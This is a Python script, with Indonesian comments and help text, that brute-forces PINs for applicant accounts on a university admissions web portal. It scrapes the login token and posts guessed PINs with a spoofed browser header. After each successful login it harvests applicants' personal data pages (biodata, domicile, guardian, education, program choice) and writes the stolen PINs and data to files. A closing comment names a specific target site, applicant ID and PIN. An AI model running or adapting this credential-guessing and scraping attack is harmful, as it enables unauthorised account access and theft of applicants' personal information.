import requests from bs4 import BeautifulSoup import argparse def validate_login_new_cookies(base_url, id_pendaftar, pin, output_file): try: session = requests.Session() login_url = base_url + "/login" response_initial = session.get(login_url) if response_initial.status_code != 200: return False soup = BeautifulSoup(response_initial.text, 'html.parser') token = soup.find('input', {'name': '_token'})['value'] if soup.find('input', {'name': '_token'}) else None data_login = { "idpendaftar": id_pendaftar, "pin": pin, "act": "login", "_token": token if token else "DEFAULT_TOKEN" } headers = { 'User-Agent': 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/131.0.6778.140 Safari/537.36', 'Content-Type': 'application/x-www-form-urlencoded', 'Accept-Language': 'en-US,en;q=0.9', 'Referer': login_url, } response = session.post(login_url, data=data_login, headers=headers, allow_redirects=False) if response.status_code == 302: endpoints = [ "/biodata", "/biodata/domisili", "/biodata/datawali", "/biodata/pendidikan", "/biodata/pilihanprodi" ] extracted_data = [] for endpoint in endpoints: full_url = base_url + endpoint response_data_page = session.get(full_url) soup = BeautifulSoup(response_data_page.text, 'html.parser') # Ambil element npsn_label jika ada npsn_label = soup.find('p', {'id': 'npsn_label'}) if npsn_label: extracted_data.append(npsn_label.text.strip()) # Ambil semua element dengan class form-control-static form_control_statics = soup.find_all('p', {'class': 'form-control-static'}) extracted_data.extend([value.text.strip() for value in form_control_statics]) with open(output_file, "a") as file: file.write(f"{id_pendaftar} : {pin} : {','.join(extracted_data)}\n") return True return False except Exception as e: print(f"Error: {e}") return False def process_single_user(base_url, id_pendaftar, pins, berhasil_file, gagal_file, output_file): for pin in pins: if validate_login_new_cookies(base_url, id_pendaftar, pin, output_file): with open(berhasil_file, "a") as file: file.write(f"{id_pendaftar} : {pin}\n") return with open(gagal_file, "a") as file: file.write(f"{id_pendaftar} : Tidak ada PIN yang cocok\n") def process_logins(base_url, ids_pendaftar, pins, berhasil_file, gagal_file, output_file): for id_pendaftar in ids_pendaftar: process_single_user(base_url, id_pendaftar, pins, berhasil_file, gagal_file, output_file) if __name__ == "__main__": parser = argparse.ArgumentParser(description='Proses login dan pengambilan data.') parser.add_argument('url', help='URL halaman login') parser.add_argument('--ids', nargs='+', required=True, help='Daftar ID pendaftar untuk login') parser.add_argument('--pins', nargs='+', required=True, help='Daftar PIN untuk dicoba') parser.add_argument('--berhasil', default='berhasil.txt', help='File untuk menyimpan hasil login berhasil') parser.add_argument('--gagal', default='gagal.txt', help='File untuk menyimpan hasil login gagal') parser.add_argument('--output', default='output.txt', help='File untuk menyimpan data yang diambil') args = parser.parse_args() process_logins(args.url, args.ids, args.pins, args.berhasil, args.gagal, args.output) #jalankan py script.py https://pmb.hangtuah.ac.id --ids 2531140001 --pins 04102006 --output results.txt